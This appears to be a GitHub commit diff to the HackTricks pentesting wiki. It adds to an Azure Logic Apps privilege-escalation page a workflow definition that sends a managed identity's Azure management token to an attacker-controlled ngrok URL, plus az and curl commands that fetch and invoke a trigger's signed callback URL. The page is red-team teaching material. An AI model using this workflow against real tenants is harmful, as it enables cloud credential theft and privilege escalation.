Skip to content

Commit afe1548

Browse files
committed
improvements
1 parent 841622e commit afe1548

2 files changed

Lines changed: 56 additions & 3 deletions

File tree

src/banners/hacktricks-training.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
> [!TIP]
22
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
3-
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
3+
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
44
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
55
>
66
> <details>

src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md

Lines changed: 55 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,50 @@ az logic workflow update \
2626
--definition <workflow_definition_file.json>
2727
```
2828

29-
And after changing it, you can run it with:
29+
Example definition of workflow with manual trigger to steal a management token of an assigned identity listeningn in a ngrok URL:
30+
31+
```json
32+
{
33+
"definition": {
34+
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowDefinition.json#",
35+
"contentVersion": "1.0.0.0",
36+
"parameters": {},
37+
"triggers": {
38+
"manual": {
39+
"type": "Request",
40+
"kind": "Http",
41+
"inputs": { "schema": {} }
42+
}
43+
},
44+
"actions": {
45+
"GetSecret": {
46+
"type": "Http",
47+
"inputs": {
48+
"method": "GET",
49+
"uri": "https://82fa-81-33-67-18.ngrok-free.app",
50+
"authentication": {
51+
"type": "ManagedServiceIdentity",
52+
"audience": "https://management.azure.com/",
53+
"identity": "/subscriptions/0c7db2d7-90ba-4106-8610-cdd8c06971fe/resourceGroups/-rg-10b8e451/providers/Microsoft.ManagedIdentity/userAssignedIdentities/uai-10b8e451",
54+
}
55+
}
56+
},
57+
"Respond": {
58+
"type": "Response",
59+
"runAfter": { "GetSecret": ["Succeeded"] },
60+
"inputs": {
61+
"statusCode": 200,
62+
"body": "@body('GetSecret')"
63+
}
64+
}
65+
},
66+
"outputs": {}
67+
},
68+
"parameters": {}
69+
}
70+
```
71+
72+
And after modifying it, you can run it with:
3073

3174
```bash
3275
az rest \
@@ -36,9 +79,19 @@ az rest \
3679
--headers "Content-Type=application/json"
3780
```
3881

82+
OIf there is a manual trigger, you can get the callback URL and run it:
83+
84+
```bash
85+
az rest --method POST \
86+
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<rg-name>>/providers/Microsoft.Logic/workflows/<workflow-name>>/triggers/manual/listCallbackUrl?api-version=2019-05-01" \
87+
--query "value" -o tsv
88+
89+
curl -X POST "https://prod-11.centralus.logic.azure.com:443/workflows/02f4e715c50a42c58b683629ddb889f5/triggers/manual/paths/invoke?api-version=2019-05-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=5m1THJOCzEl6WoZyaont4i2A62PpSZhK3BtVAzYYTPY"
90+
```
91+
3992
### Microsoft.Logic/workflows/write
4093

41-
With just this permission it's possible tochange the Authorization Policy, giving for example another tenant the capability to trigger the workflow:
94+
With just this permission it's possible to change the Authorization Policy, giving for example another tenant the capability to trigger the workflow:
4295

4396
```bash
4497
az rest --method PUT \

0 commit comments

Comments
 (0)